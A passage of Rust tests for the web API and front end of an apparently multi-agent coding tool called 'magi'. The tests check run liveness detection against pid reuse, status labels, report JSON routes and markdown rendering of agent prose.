14022        assert!(old["origin"].is_null(), "{old}");
14023
14024        let list = f.get("/api/runs").await.json();
14025        let labels: Vec<_> = list
14026            .as_array()
14027            .unwrap()
14028            .iter()
14029            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
14030            .collect();
14031        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
14032    }
14033
14034    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
14035    /// review` claims no daemon at all, so before this field existed the
14036    /// route above read it as `"dead"` — indistinguishable from a run a
14037    /// killed process abandoned — the whole time it was genuinely still
14038    /// answering. With a live pid recorded, it must read `"live"` even
14039    /// though no daemon claims it.
14040    #[tokio::test]
14041    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
14042        let f = Fixture::start().await;
14043        let id = "20260922-090000-cccc";
14044        let mut state = RunState::new(
14045            PathBuf::from("/repo/magi"),
14046            "main".to_owned(),
14047            "0123456789abcdef".to_owned(),
14048            "Review only".to_owned(),
14049            Config::default(),
14050        );
14051        state.id = id.to_owned();
14052        state.status = RunStatus::Reviewing;
14053        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14054        // This test process's own pid: guaranteed alive, and never needs a
14055        // real daemon or a second process to prove it. The matching start-time
14056        // marker is what `liveness` now requires alongside a live pid — see
14057        // `RunState::driver_started_at`'s own doc for why the pid alone is
14058        // not enough.
14059        state.driver_pid = Some(std::process::id());
14060        state.driver_started_at = Some(
14061            crate::proc::process_started_at(std::process::id())
14062                .expect("this test process's own start time must be queryable"),
14063        );
14064        let dir = f.runs().join(id);
14065        std::fs::create_dir_all(&dir).expect("run dir");
14066        std::fs::write(
14067            dir.join("run.json"),
14068            serde_json::to_string_pretty(&state).expect("serialize run"),
14069        )
14070        .expect("write run.json");
14071
14072        let detail = f.get(&format!("/api/runs/{id}")).await.json();
14073        assert_eq!(detail["live"], "live", "{detail}");
14074    }
14075
14076    /// A killed manual run's pid can be handed to a wholly unrelated later
14077    /// process — a live query on `driver_pid` alone would read this as
14078    /// `"live"`, exactly the false positive `driver_started_at` exists to
14079    /// catch (see that field's own doc, and `RunState::liveness_with`'s
14080    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
14081    #[tokio::test]
14082    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
14083        let f = Fixture::start().await;
14084        let id = "20260922-090100-dddd";
14085        let mut state = RunState::new(
14086            PathBuf::from("/repo/magi"),
14087            "main".to_owned(),
14088            "0123456789abcdef".to_owned(),
14089            "Review only".to_owned(),
14090            Config::default(),
14091        );
14092        state.id = id.to_owned();
14093        state.status = RunStatus::Reviewing;
14094        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14095        // This test process's own pid really is alive, but the marker
14096        // recorded here does not match what it actually started at —
14097        // standing in for the pid having since been reused by a different
14098        // process than the one that wrote `run.json`.
14099        state.driver_pid = Some(std::process::id());
14100        state.driver_started_at = Some("1".to_owned());
14101        let dir = f.runs().join(id);
14102        std::fs::create_dir_all(&dir).expect("run dir");
14103        std::fs::write(
14104            dir.join("run.json"),
14105            serde_json::to_string_pretty(&state).expect("serialize run"),
14106        )
14107        .expect("write run.json");
14108
14109        let detail = f.get(&format!("/api/runs/{id}")).await.json();
14110        assert_eq!(detail["live"], "dead", "{detail}");
14111    }
14112
14113    /// The deck's competition list is normally the first place an operator
14114    /// sees an old run. It must carry the same process verdict as detail, or
14115    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
14116    #[test]
14117    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
14118        let mk = |id: &str, pid: Option<u32>| {
14119            let mut s = RunState::new(
14120                PathBuf::from("/repo/magi"),
14121                "main".to_owned(),
14122                "0123456789abcdef".to_owned(),
14123                "Add a web UI".to_owned(),
14124                Config::default(),
14125            );
14126            s.id = id.to_owned();
14127            s.driver_pid = pid;
14128            s.driver_started_at = Some("1790000000".to_owned());
14129            s
14130        };
14131        let states = vec![
14132            mk("20260902-140502-aaaa", Some(77)),
14133            mk("20260902-140502-bbbb", Some(77)),
14134            mk("20260902-140502-cccc", Some(77)),
14135            mk("20260902-140502-dddd", None),
14136        ];
14137        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
14138        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
14139        let sup: HashMap<String, String> = [(
14140            "20260902-140502-aaaa".to_owned(),
14141            "20260902-140502-cccc".to_owned(),
14142        )]
14143        .into();
14144
14145        let status_calls = std::cell::Cell::new(0);
14146        let identity_calls = std::cell::Cell::new(0);
14147        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
14148            |_| {
14149                status_calls.set(status_calls.get() + 1);
14150                Some(true)
14151            },
14152            |_| {
14153                identity_calls.set(identity_calls.get() + 1);
14154                Some("1790000000".to_owned())
14155            },
14156        ));
14157        let rows = summarize(
14158            states,
14159            &open,
14160            &claimed,
14161            &sup,
14162            |p| probe.borrow_mut().status(p),
14163            |p| probe.borrow_mut().started_at(p),
14164        );
14165
14166        assert_eq!(status_calls.get(), 1, "one pid, one status query");
14167        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
14168        assert_eq!(rows.len(), 4);
14169        assert!(!rows[0].waiting && rows[1].waiting);
14170        assert_eq!(rows[0].live, crate::run::Liveness::Live);
14171        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
14172        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
14173        assert_eq!(rows[1].superseded_by, None);
14174    }
14175
14176    #[test]
14177    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
14178        let mut state = RunState::new(
14179            PathBuf::from("/repo/magi"),
14180            "main".to_owned(),
14181            "0123456789abcdef".to_owned(),
14182            "Review only".to_owned(),
14183            Config::default(),
14184        );
14185        state.id = "20260922-090200-dead".to_owned();
14186        state.status = RunStatus::Reviewing;
14187        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
14188            .expect("serialize list row");
14189        assert_eq!(row["status"], "reviewing");
14190        assert_eq!(row["display_status"], "stale");
14191        assert_eq!(row["live"], "dead", "{row}");
14192        assert!(!row["done"].as_bool().unwrap());
14193    }
14194
14195    #[test]
14196    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
14197        use crate::run::Liveness::{Dead, Live, Unknown};
14198        let mut state = RunState::new(
14199            PathBuf::from("/repo/magi"),
14200            "main".to_owned(),
14201            "abc".to_owned(),
14202            "Review only".to_owned(),
14203            Config::default(),
14204        );
14205        for (status, parked, node, waiting, live, expected) in [
14206            (
14207                RunStatus::Judging,
14208                true,
14209                "github-text",
14210                false,
14211                Dead,
14212                "parked",
14213            ),
14214            (RunStatus::Judging, false, "park", false, Dead, "stale"),
14215            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
14216            (
14217                RunStatus::Judging,
14218                true,
14219                "github-text",
14220                true,
14221                Dead,
14222                "waiting",
14223            ),
14224            (
14225                RunStatus::Judging,
14226                false,
14227                "github-text",
14228                true,
14229                Dead,
14230                "waiting",
14231            ),
14232            (
14233                RunStatus::Judging,
14234                false,
14235                "github-text",
14236                false,
14237                Dead,
14238                "stale",
14239            ),
14240            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
14241            (RunStatus::Judging, true, "park", false, Live, "judging"),
14242            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
14243            (RunStatus::Merged, true, "park", false, Dead, "merged"),
14244            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
14245            (
14246                RunStatus::Blocked,
14247                true,
14248                "github-text",
14249                true,
14250                Dead,
14251                "waiting",
14252            ),
14253        ] {
14254            state.status = status;
14255            state.parked = parked;
14256            state.events.clear();
14257            state.event(
14258                "park",
14259                "an earlier park does not determine the latest state",
14260            );
14261            state.event(node, "message is not used for classification");
14262            let summary = RunSummary::of(&state, waiting, live);
14263            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
14264            assert_eq!(
14265                summary.display_status, expected,
14266                "{status:?}/{node}/{live:?}"
14267            );
14268            assert_eq!(detail.display_status, summary.display_status);
14269            assert_eq!(detail.waiting, summary.waiting);
14270        }
14271        state.status = RunStatus::Judging;
14272        state.parked = false;
14273        state.events.clear();
14274        assert_eq!(run_display_status(&state, false, Dead), "stale");
14275    }
14276
14277    #[tokio::test]
14278    async fn run_display_status_routes_share_the_open_question_store() {
14279        let f = Fixture::start().await;
14280        let id = "20260922-090200-abcd";
14281        write_run(&f.runs(), id, RunStatus::Judging);
14282        let mut state = read_run(&f.runs(), id).unwrap();
14283        state.parked = true;
14284        state.driver_exited = true;
14285        state.event("github-text", "waiting for the owner");
14286        state.save_under(f.home.path()).unwrap();
14287        let store = f.questions();
14288        let mut q = Question::new(
14289            id.to_owned(),
14290            "github-text".to_owned(),
14291            "owner".to_owned(),
14292            "Approve the text?".to_owned(),
14293            String::new(),
14294            Vec::new(),
14295        );
14296        store.put(&mut q).unwrap();
14297        for expected in ["waiting", "parked"] {
14298            let list = f.get("/api/runs").await.json();
14299            let detail = f.get(&format!("/api/runs/{id}")).await.json();
14300            assert_eq!(list[0]["display_status"], expected);
14301            assert_eq!(detail["display_status"], expected);
14302            assert_eq!(detail["waiting"], list[0]["waiting"]);
14303            q.status = ask::QuestionStatus::Answered;
14304            store.put(&mut q).unwrap();
14305        }
14306    }
14307
14308    #[tokio::test]
14309    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
14310        let f = Fixture::start().await;
14311        let id = "20260922-090200-abcd";
14312        write_run(&f.runs(), id, RunStatus::Judging);
14313        let mut state = read_run(&f.runs(), id).unwrap();
14314        state.parked = true;
14315        state.driver_exited = true;
14316        state.event("park", "stopped at a node boundary");
14317        state.save_under(f.home.path()).unwrap();
14318
14319        for expected in ["parked", "stale"] {
14320            let list = f.get("/api/runs").await.json();
14321            let detail = f.get(&format!("/api/runs/{id}")).await.json();
14322            assert_eq!(list[0]["live"], "dead");
14323            assert_eq!(list[0]["display_status"], expected);
14324            assert_eq!(detail["display_status"], expected);
14325            // Model a driver claim followed by a crash before the next event:
14326            // the persisted flag changes, but the last event is still park.
14327            state.parked = false;
14328            state.save_under(f.home.path()).unwrap();
14329        }
14330    }
14331
14332    #[tokio::test]
14333    async fn the_run_list_is_newest_first_and_honours_a_limit() {
14334        let f = Fixture::start().await;
14335        for id in [
14336            "20260902-140501-aaaa",
14337            "20260902-140502-bbbb",
14338            "20260902-140503-cccc",
14339        ] {
14340            write_run(&f.runs(), id, RunStatus::Merged);
14341        }
14342
14343        let all = f.get("/api/runs").await.json();
14344        let capped = f.get("/api/runs?limit=2").await.json();
14345
14346        assert_eq!(all[0]["id"], "20260902-140503-cccc");
14347        assert_eq!(all.as_array().map(Vec::len), Some(3));
14348        assert_eq!(capped.as_array().map(Vec::len), Some(2));
14349        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
14350    }
14351
14352    #[tokio::test]
14353    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
14354        let f = Fixture::start().await;
14355        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
14356
14357        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
14358
14359        assert_eq!(res.status, 200);
14360        assert!(
14361            res.headers
14362                .contains("content-type: text/plain; charset=utf-8"),
14363            "a browser must render it, not download it: {}",
14364            res.headers
14365        );
14366        // The assertion is on content, not on the absence of escapes: colour
14367        // is a process-global that `serve` turns off at startup, and another
14368        // test in this binary may own it while this one runs.
14369        assert!(
14370            res.body.contains("20260902-140501-a1b2"),
14371            "the report is about the run that was asked for: {}",
14372            res.body
14373        );
14374    }
14375
14376    #[tokio::test]
14377    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
14378        // The view names the run's state directory, which reads the process-global home.
14379        crate::run::pin_test_home();
14380        let f = Fixture::start().await;
14381        let id = "20260902-140501-a1b2";
14382        write_run(&f.runs(), id, RunStatus::Stalled);
14383        // A stalled panel and one review round, written through the real
14384        // state file so the route reads what a run really leaves behind.
14385        let path = f.runs().join(id).join("run.json");
14386        let mut v: serde_json::Value =
14387            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14388        v["tally"] = serde_json::json!({
14389            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14390            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
14391            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
14392            "met_quorum": false, "rankings": 1
14393        });
14394        v["reviews"] = serde_json::json!([{
14395            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
14396            "e2e_deferred": true,
14397            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
14398                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
14399            ]}]
14400        }]);
14401        std::fs::write(&path, v.to_string()).unwrap();
14402        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
14403        std::fs::write(
14404            f.runs().join("20260902-140502-dead").join("run.json"),
14405            "{not json",
14406        )
14407        .unwrap();
14408
14409        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14410
14411        assert_eq!(res.status, 200, "{}", res.body);
14412        assert!(res.headers.contains("content-type: application/json"));
14413        let j = res.json();
14414        assert_eq!(j["schema"], 1);
14415        assert_eq!(j["header"]["id"], id);
14416        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
14417        let kinds: Vec<&str> = j["sections"]
14418            .as_array()
14419            .unwrap()
14420            .iter()
14421            .map(|s| s["kind"].as_str().unwrap())
14422            .collect();
14423        assert_eq!(kinds, ["candidates", "tally", "review"]);
14424        let tally = &j["sections"][1]["tally"];
14425        assert_eq!(
14426            (tally["decided"].clone(), tally["provisional"].clone()),
14427            (false.into(), true.into())
14428        );
14429        let round = &j["sections"][2]["rounds"][0];
14430        assert_eq!(round["e2e"]["state"], "deferred");
14431        assert_eq!(round["findings"][0]["severity"], "major");
14432        assert_eq!(round["findings"][0]["blocking"], true);
14433        assert_eq!(round["findings"][0]["state"], "open");
14434
14435        // The raw route keeps working beside it.
14436        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
14437
14438        // An unreadable run is an error, as on the text route, and is counted.
14439        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
14440        assert_ne!(bad.status, 200, "{}", bad.body);
14441        assert_eq!(
14442            bad.status,
14443            f.get("/api/runs/20260902-140502-dead/report").await.status
14444        );
14445        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
14446        assert_eq!(
14447            f.get("/api/runs/20260902-999999-ffff/report.json")
14448                .await
14449                .status,
14450            404
14451        );
14452    }
14453
14454    #[tokio::test]
14455    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
14456        crate::run::pin_test_home();
14457        let f = Fixture::start().await;
14458        let id = "20260902-140503-delib";
14459        write_run(&f.runs(), id, RunStatus::Merged);
14460        let path = f.runs().join(id).join("run.json");
14461        let mut v: serde_json::Value =
14462            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14463        v["judgements"] = serde_json::json!([
14464            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14465        ]);
14466        v["tally"] = serde_json::json!({
14467            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14468            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
14469            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
14470            "met_quorum": true, "rankings": 1
14471        });
14472        v["deliberation"] = serde_json::json!([
14473            {
14474                "round": 1,
14475                "turns": [
14476                    {
14477                        "judge": 1,
14478                        "agent": "judge-1",
14479                        "body": "I prefer candidate **A** because it has cleaner tests.",
14480                        "tentative": "A"
14481                    }
14482                ]
14483            },
14484            {
14485                "round": 2,
14486                "turns": [
14487                    {
14488                        "judge": 1,
14489                        "agent": "judge-1",
14490                        "body": "Still thinking, no choice yet.",
14491                        "tentative": null
14492                    }
14493                ]
14494            }
14495        ]);
14496        std::fs::write(&path, v.to_string()).unwrap();
14497
14498        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14499        assert_eq!(res.status, 200, "{}", res.body);
14500        let j = res.json();
14501        let judging = j["sections"]
14502            .as_array()
14503            .unwrap()
14504            .iter()
14505            .find(|s| s["kind"] == "judging")
14506            .expect("judging section exists");
14507
14508        // Existing summary lines remain intact
14509        let delib_lines = judging["deliberation"].as_array().unwrap();
14510        assert_eq!(delib_lines.len(), 2);
14511        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
14512        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
14513
14514        // rounds carry turn bodies, tentative and parsed body_md
14515        let rounds = judging["rounds"].as_array().unwrap();
14516        assert_eq!(rounds.len(), 2);
14517        let r1_t0 = &rounds[0]["turns"][0];
14518        assert_eq!(r1_t0["judge"], 1);
14519        assert_eq!(r1_t0["agent"], "judge-1");
14520        assert_eq!(r1_t0["tentative"], "A");
14521        assert_eq!(
14522            r1_t0["body"],
14523            "I prefer candidate **A** because it has cleaner tests."
14524        );
14525        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
14526
14527        let r2_t0 = &rounds[1]["turns"][0];
14528        assert_eq!(r2_t0["judge"], 1);
14529        assert_eq!(r2_t0["agent"], "judge-1");
14530        assert!(r2_t0["tentative"].is_null());
14531        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
14532        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
14533
14534        // A run with empty deliberation array yields empty rounds
14535        let id_empty = "20260902-140504-nodelib";
14536        write_run(&f.runs(), id_empty, RunStatus::Merged);
14537        let path_empty = f.runs().join(id_empty).join("run.json");
14538        let mut v_empty: serde_json::Value =
14539            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
14540        v_empty["judgements"] = serde_json::json!([
14541            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14542        ]);
14543        v_empty["deliberation"] = serde_json::json!([]);
14544        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
14545
14546        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
14547        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
14548        let j_empty = res_empty.json();
14549        let judging_empty = j_empty["sections"]
14550            .as_array()
14551            .unwrap()
14552            .iter()
14553            .find(|s| s["kind"] == "judging")
14554            .expect("judging section exists");
14555        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
14556    }
14557
14558    #[tokio::test]
14559    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
14560        let f = Fixture::start().await;
14561
14562        let html = f.get("/").await;
14563        let css = f.get("/app.css").await;
14564        let js = f.get("/app.js").await;
14565
14566        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
14567        assert!(
14568            html.headers
14569                .contains("content-type: text/html; charset=utf-8")
14570        );
14571        assert!(css.headers.contains("content-type: text/css"));
14572        assert!(js.headers.contains("content-type: text/javascript"));
14573        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
14574    }
14575
14576    #[test]
14577    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
14578        let body = |name: &str| {
14579            let at = APP_JS
14580                .find(name)
14581                .unwrap_or_else(|| panic!("{name} missing"));
14582            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14583        };
14584        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
14585        let note = body("function landRoundNote");
14586        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
14587        assert!(note.contains("Land round ${round}"));
14588        let land = body("function renderLand");
14589        let note_at = land
14590            .find("landRoundNote(pr)")
14591            .expect("renderLand uses the note");
14592        assert!(
14593            note_at
14594                < land
14595                    .find("roundRail(pr)")
14596                    .expect("renderLand uses the rail")
14597        );
14598    }
14599
14600    #[test]
14601    fn the_runs_page_redesign_keeps_its_guards() {
14602        let body = |name: &str| {
14603            let at = APP_JS
14604                .find(name)
14605                .unwrap_or_else(|| panic!("{name} missing"));
14606            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14607        };
14608        // A null child must never reach the native append (it prints "null").
14609        let land = body("function renderLand");
14610        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
14611        assert!(
14612            !land.contains("box.append("),
14613            "renderLand must use append()"
14614        );
14615        assert!(land.contains("append(box, ["));
14616        // Tabs are hash routes; the run id alone decides a reload.
14617        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
14618        assert!(
14619            body("function applyRoute")
14620                .contains("route.name !== state.route.name || route.id !== state.route.id")
14621        );
14622        // The decorative diagram is gone, the strip and its guards stay.
14623        assert!(!APP_JS.contains("adviseConvergeDiagram"));
14624        assert!(!INDEX_HTML.contains("advise-converge"));
14625        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
14626        assert!(APP_JS.contains("provisional"));
14627        for id in [
14628            "run-tab-overview",
14629            "run-tab-timeline",
14630            "run-tab-report",
14631            "run-report",
14632            "runs-scope",
14633        ] {
14634            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
14635        }
14636        assert!(!INDEX_HTML.contains("runs-tree"));
14637        assert!(!INDEX_HTML.contains("run-raw-panel"));
14638        // Fold still says it cannot be resumed.
14639        assert!(APP_JS.contains("resume"));
14640        // The unreadable-runs count stays on the page.
14641        assert!(APP_JS.contains("unreadable"));
14642    }
14643
14644    #[test]
14645    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
14646        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
14647        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
14648        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
14649        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
14650        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
14651        // The subtitle still counts them whatever the banner does.
14652        assert!(APP_JS.contains("unreadable` : null"));
14653    }
14654
14655    #[test]
14656    fn the_run_detail_payload_says_whether_the_run_is_done() {
14657        // `landView` reads `run.done`; the detail response must carry it.
14658        for (status, done) in [
14659            (RunStatus::Superseded, true),
14660            (RunStatus::Blocked, true),
14661            (RunStatus::Landing, false),
14662        ] {
14663            let mut state = RunState::new(
14664                std::path::PathBuf::from("/repo"),
14665                "main".to_owned(),
14666                "abc".to_owned(),
14667                "x".to_owned(),
14668                crate::config::Config::default(),
14669            );
14670            state.status = status;
14671            let v = serde_json::to_value(RunDetailView::of(
14672                state,
14673                false,
14674                crate::run::Liveness::Unknown,
14675                None,
14676                None,
14677                None,
14678            ))
14679            .unwrap();
14680            assert_eq!(v["done"], done, "{status:?}");
14681        }
14682    }
14683
14684    /// The first node of a markdown block holds a `strong` somewhere.
14685    fn has_strong(nodes: &[md::Node]) -> bool {
14686        serde_json::to_string(nodes).unwrap().contains("strong")
14687    }
14688
14689    #[test]
14690    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
14691        let mut state = RunState::new(
14692            std::path::PathBuf::from("/repo"),
14693            "main".to_owned(),
14694            "abc".to_owned(),
14695            "x".to_owned(),
14696            crate::config::Config::default(),
14697        );
14698        let proposal = |approach: &str| {
14699            serde_json::json!({
14700                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
14701            })
14702        };
14703        state.advice = Some(
14704            serde_json::from_value(serde_json::json!({
14705                "records": [
14706                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
14707                     "proposal": proposal("do **this**")},
14708                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
14709                ],
14710                "synthesis": "- one\n- **two**\n\n`code`",
14711            }))
14712            .unwrap(),
14713        );
14714        state.candidates = serde_json::from_value(serde_json::json!([
14715            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
14716             "summary": "did **it**"},
14717            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
14718        ]))
14719        .unwrap();
14720        // Recorded in ascending severity, the reverse of how the page sorts
14721        // them: the arrays must follow the record, not the display.
14722        state.reviews = serde_json::from_value(serde_json::json!([{
14723            "round": 1, "head": "h",
14724            "reviews": [{
14725                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
14726                "findings": [
14727                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
14728                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
14729                ],
14730            }],
14731            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
14732            "fix": {"agent": "a", "notes": "fixed **it**",
14733                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
14734        }, {"round": 2, "head": "h2", "reviews": []}]))
14735        .unwrap();
14736
14737        let v = serde_json::to_value(RunDetailView::of(
14738            state,
14739            false,
14740            crate::run::Liveness::Unknown,
14741            None,
14742            None,
14743            None,
14744        ))
14745        .unwrap();
14746
14747        let strong = |p: &str| {
14748            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
14749            assert!(n.to_string().contains("strong"), "{p}: {n}");
14750        };
14751        strong("/advice_md/synthesis");
14752        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
14753        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
14754        strong("/advice_md/approaches/0");
14755        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
14756        strong("/candidate_summaries_md/0");
14757        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
14758        strong("/reviews_md/0/reviewers/0/summary");
14759        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
14760        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
14761        assert!(f[1].to_string().contains("strong"));
14762        strong("/reviews_md/0/reconsideration/0");
14763        strong("/reviews_md/0/fix/notes");
14764        strong("/reviews_md/0/fix/rejected/0");
14765        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
14766        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
14767        // The raw strings stay, and no schema moved.
14768        assert_eq!(v["candidates"][0]["summary"], "did **it**");
14769        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
14770    }
14771
14772    #[test]
14773    fn a_run_without_advice_has_no_advice_md() {
14774        let state = RunState::new(
14775            std::path::PathBuf::from("/repo"),
14776            "main".to_owned(),
14777            "abc".to_owned(),
14778            "x".to_owned(),
14779            crate::config::Config::default(),
14780        );
14781        let p = run_prose_md(&state);
14782        assert!(p.advice_md.is_none());
14783        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
14784    }
14785
14786    #[test]
14787    fn a_question_view_carries_markdown_for_each_thread_turn() {
14788        let home = TempDir::new().unwrap();
14789        let store = ask::Questions::at(home.path().join("questions"));
14790        let mut q = Question::new(
14791            "run".to_owned(),
14792            "implement".to_owned(),
14793            "impl-A".to_owned(),
14794            "which?".to_owned(),
14795            String::new(),
14796            Vec::new(),
14797        );
14798        q.say("plain words").unwrap();
14799        q.reply("use **this**", Vec::new()).unwrap();
14800        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14801        let bodies = &v["thread_bodies_md"];
14802        assert_eq!(bodies.as_array().unwrap().len(), 2);
14803        assert!(!bodies[0].to_string().contains("strong"));
14804        assert!(bodies[1].to_string().contains("strong"));
14805    }
14806
14807    #[test]
14808    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
14809        let home = TempDir::new().unwrap();
14810        let store = ask::Questions::at(home.path().join("questions"));
14811        let mut q = Question::new(
14812            "run".to_owned(),
14813            "conduct".to_owned(),
14814            "conduct".to_owned(),
14815            "which?".to_owned(),
14816            String::new(),
14817            Vec::new(),
14818        );
14819        q.say("plain words").unwrap();
14820        q.thread.push(ask::Turn {
14821            who: ask::Who::Agent,
14822            body: "Settled as `merge`".to_owned(),
14823            at: jiff::Timestamp::now(),
14824            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
14825        });
14826        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14827        let notes = &v["thread_notes_md"];
14828        assert_eq!(notes.as_array().unwrap().len(), 2);
14829        assert!(notes[0].is_null());
14830        let text = notes[1].to_string();
14831        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
14832        assert!(APP_JS.contains("ask-turn-note"));
14833    }
14834
14835    #[test]
14836    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
14837        // The land panel defers to `run.status` for merged, and labels a
14838        // recorded-open PR on any finished run (superseded, blocked, ...) as
14839        // last seen, never as live state.
14840        assert!(APP_JS.contains("function landView(run, raw) {"));
14841        assert!(
14842            APP_JS.contains(
14843                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
14844            )
14845        );
14846        assert!(APP_JS.contains("const pr = landView(run, raw);"));
14847        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
14848        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
14849        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
14850    }
14851
14852    #[test]
14853    fn live_runs_are_never_hidden_or_folded_as_superseded() {
14854        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
14855        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
14856        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
14857        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
14858    }
14859
14860    #[test]
14861    fn review_rounds_label_a_distinct_verified_head() {
14862        assert!(APP_JS.contains("round.verified_head"));
14863        assert!(APP_JS.contains("verified HEAD"));
